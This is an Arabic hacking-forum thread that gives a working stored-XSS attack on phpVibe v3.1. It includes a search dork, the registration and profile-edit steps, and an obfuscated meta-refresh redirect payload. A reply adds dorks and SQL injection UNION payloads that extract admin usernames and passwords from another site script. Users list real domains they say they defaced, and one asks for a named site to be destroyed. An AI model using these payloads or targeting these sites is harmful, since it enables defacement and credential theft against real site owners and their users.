ثغرة xss-2013 تعال طبق

[Iraqe Hacker]

بسم الله الرحمن الرحيم
السلام عليكم اخواني
بدون مقدمات الكل يعرف هاي الثغرة
الدورك تضعو في كوكل
"Powered by phpVibe v3.1"
الاستغلال
-How to Exploit-
نذهب للتسجيل وحط اي ايميل وهمي
http://site.com/register.php
بعد التسجيل نذهب لهذا المسار للحقن بعدين تحط الكود مالك لتحقن الصفحة
http://site.com/edit-profile.php
وتذهب لمسار الاعضاء وطغط على عضويتك
http://site.com/members/
سيتم تطبيق الكود الخليتو مثال انا خليت كود يتم تحويلي لموقع اني مخترقو قبل
فقط اضغط على عضويتي
http://digitalsportsbar.com/user/2/iraqe-hacker/
وهذا الكود الي طبقتو
">"" > > < me t a http-e q u i v="Refresh" content="0;url=http://atala.is">"">
الي بلاحمر امسح الفراغات مابين الكلمة المحددة
==========================
المصدر
http://www.1337day.com/exploit/20325
تحياتي لكم

[keyboy]

أخي ممكن تشرح أكثر المرحلة الثانبة و مشكووووووووووووووووووووور

[3aziz_ziza3]

اخي مشكور وجزاك الله كل خير
http://www.freeimagehost.info/files/img/display/imagedisplay_b6p9nqhqk8g.gif.php

[سارة الغامدي]

وآصل آبدآعك
يعطيك العافية

[الجليد المشتعل]

مشكـــؤر يعطيك الف عافية

[موآدع]

بطل حبيبي علم نافع:biggrin: ان شاء الله

[Iraqe Hacker]

شكرا لمروركم حبايبي تشرفت بيكم

[عبدالرحمن القميري]

الف شكر ياليت بالصور

[Iraqe Hacker]

الف شكر ياليت بالصور
ميحتاج صور شرح سهل تحياتي

[lmensi]

مشكـــؤر يعطيك الف عافية

[Iraqe Hacker]

مشكـــؤر يعطيك الف عافية

الله يعافيك مشكور

[xpmhmd]

ابداأأأااأأاع

[Iraqe Hacker]

ابداأأأااأأاع
http://www.samysoft.net/fmm/fimnew/shokrmror/1/ghhfgh.gif

[سرمد المهندس]

اضافه مني :::


ملاحظة لوحة دخول الادمن www.xxx.com\admin

الدورك

dorks:
inurl:index.php?SellerID=
inurl:supplier/index.php
intext"Development by WebDevelopmentHouse.com"

الاستغلال

لاستخراج اليوزر


buyers_subcategories.php?IndustryID=-2+/***/+Union/*!select*/1,2,LoginID from admin--

طلعنا اليوز ^^

الباسوورد

buyers_subcategories.php?IndustryID=-2+/***/+Union/*!select*/1,2,password from admin--

*
Category

People & Blogs
*
License

Standard YouTube License

[Iraqe Hacker]

اضافه مني :::


ملاحظة لوحة دخول الادمن www.xxx.com\admin (http://www.xxx.com\admin)

الدورك

dorks:
inurl:index.php?SellerID=
inurl:supplier/index.php
intext"Development by WebDevelopmentHouse.com"

الاستغلال

لاستخراج اليوزر


buyers_subcategories.php?IndustryID=-2+/***/+Union/*!select*/1,2,LoginID from admin--

طلعنا اليوز ^^

الباسوورد

buyers_subcategories.php?IndustryID=-2+/***/+Union/*!select*/1,2,password from admin--

*
Category

People & Blogs
*
License

Standard YouTube License
مرور رائع اخ سرمد

[saladin2]

الشرح غير واضح ولكن شكرا

[HACROZ]

يعطيك الف عافية

[mr.aati]

استمر في الابداع

تم دعس 7 مواقع من خلال الثغره تحياتي هكر بني مالك



www.mumovideo.com
www.przesada.com
www.djpov.tv
www.just-boxing.com
www.tittenisland.com
www.mytubber.com
www.digitalsportsbar.com

[الذئب الاسود العراقي]

http://up13.up-images.com/up/viewimages/803ca55a0e.gif (http://fashion.azyya.com)

[سكاي]

la;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,v

- - - تم التحديث - - -

la;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,v

[wrest]

لم لفهم ماذا تقصد وكيف اخترق بهذه الثغرة, لكن وجدت موقع جنسي له نفس سكربت الثغرة وهو powerd by phpvibe v3.1 وعنوان الموقع هو : http://www.misterdevil.com/ وارجو ان كان لك القابلية والاختصاص ان تعمل على تدمير هذا الموقع .

[ahmedfreed]

بارك الله فيك

[Sh3ll-Coder]

يعطيك الـف عآفية حبيبي ..

[LORDOFDARKNES]

شكرا لك حبيبي اقدر لك جهودك

[Iraqe Hacker]

http://www.samysoft.net/fmm/fimnew/shokrmror/1/sdfsdf.gif

[عبدالله97]

http://islamroses.com/zeenah_images/jazak.gif

[Iraqe Hacker]

http://islamroses.com/zeenah_images/jazak.gif

مشكور لمرورك

[hacker zammani]

مشكـــؤر يعطيك الف عافية

[hackerpk]

يعطيك ألف عافية